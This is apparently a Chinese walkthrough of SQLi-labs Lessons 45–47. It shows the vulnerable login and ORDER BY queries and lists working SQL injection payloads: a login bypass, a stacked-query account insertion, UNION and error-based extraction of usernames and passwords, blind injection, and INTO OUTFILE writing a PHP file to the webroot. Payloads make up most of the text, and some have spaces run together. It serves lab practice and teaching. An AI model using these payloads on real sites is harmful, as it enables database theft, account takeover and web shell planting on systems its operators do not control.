Lesson-45
该题为单括号单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项
目标SQL语句如下:
//login.php
$username=mysqli_real_escape_string($con1, $_POST["login_user"]);
$password=$_POST["login_password"];
$sql="SELECT * FROM users WHERE username=('$username') and password=('$password')";
@mysqli_multi_query($con1, $sql)
# 返回内容
if查询成功:
输出查询内容;
else:
输出存在错误;
$login=sqllogin($host,$dbuser,$dbpass, $dbname);
if登录成功:
setcookie("Auth", 1, time()+3600);
//pass_change.php
$username=$_SESSION["username"];
$curr_pass=mysql_real_escape_string($_POST['current_password']);
$pass=mysql_real_escape_string($_POST['password']);
$re_pass=mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
注意:该题与Lesson44的利用方式相同,只不过拼接方式由单引号换成了单括号单引号
使用万能密码尝试登录,成功登录
login_user=admin&login_password=1')%20or%201#&mysubmit=Login
使用堆叠注入判断字段数
login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面
这里我们不能使用 order by 来判断字段数,需要通过 union select 判断
login_user=admin&login_password=-1')%20union%20select%201,2,3#&mysubmit=Login
由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值
login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login
通过联合查询查看数据,点击follow
后发现字段值已添加
login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login
Lesson-46
该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注,本题是对 order by 语句的注入,常见的显示表格的站点一般会使用sort
、limit
参数来控制数据返回长度
sort=1
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY $id";
# 返回内容
iftrue:
输出查询内容;
else:
print_r(mysql_error());
注意:该题将order by
作为注入点,它不同于where
后的参数注入,因此不能使用联合查询,但可以使用报错注入和盲注
判断注入点的多种方式:
- 升降序验证
sort=1asc //返回顺序结果
sort=1desc //返回倒序结果
- rand()验证
sort=rand(true)
sort=rand(false)
rand(true)
和rand(false)
都会返回随机排列的结果
- 延时验证
sort=sleep(3) //等待3*行数秒才会显示结果
使用报错注入查询基本信息
sort=(selectcount(*)from users groupby concat((selectuser()),0x7e,floor(rand(0)*2)))
sort=(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))
sort=(selectcount(*)from users groupby concat((selectdatabase()),0x7e,floor(rand(0)*2)))
除了以上基础的 floor 报错注入外,还可以使用procedure analyse
参数进行注入
sort=1procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)
查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量
sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit0,1),0x7e,floor(rand(0)*2)))
sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit1,1),0x7e,floor(rand(0)*2)))
查询列名
sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit0,1),0x7e,floor(rand(0)*2)))
sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit1,1),0x7e,floor(rand(0)*2)))
查询关键信息
sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit0,1),0x7e,floor(rand(0)*2)))
sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit1,1),0x7e,floor(rand(0)*2)))
盲注可使用rand()
进行判断,一旦查询正确就会通过rand()
函数重新随机排列数组,否则不变,首先测试布尔盲注
sort=rand(left(database(),1)>'s')
sort=rand(left(database(),1)='s')
数据库名的第一个字符为s
,其次测试时间盲注
sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
使用into outfile
将结果导入目标文件中
sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac.txt"
成功将结果写入mac.txt
当中
我们可利用lines terminated by
来尝试获取权限
sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac1.php"linesterminatedby0x3c3f70687020706870696e666f28293f3e0a
访问mac1.php
,成功解析
使用十六进制可有效规避字符乱码问题,通过 python 可将利用代码转换为十六进制
echo "<?php phpinfo()?>"| python3 -c "import sys, binascii; print(binascii.hexlify(sys.stdin.buffer.read()).decode())"
Lesson-47
该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY '$id'";
# 返回内容
iftrue:
输出查询内容;
else:
print_r(mysql_error());
注意:该题与Lesson46的利用方式相同,只不过拼接方式由数字改为了单引号
使用报错注入判断注入点
sort=1'--+
查询基本信息
sort=1' and (select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))--+
sort=1'and(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))--+
sort=1' and (select count(*) from users group by concat((select database()),0x7e,floor(rand(0)*2)))--+
除了以上基础的 floor 报错注入外,还可以使用procedure analyse
参数进行注入
sort=1' procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)--+
查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量
sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)))--+
sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e,floor(rand(0)*2)))--+
查询列名
sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))--+
sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)))--+
查询关键信息
sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+
sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 1,1),0x7e,floor(rand(0)*2)))--+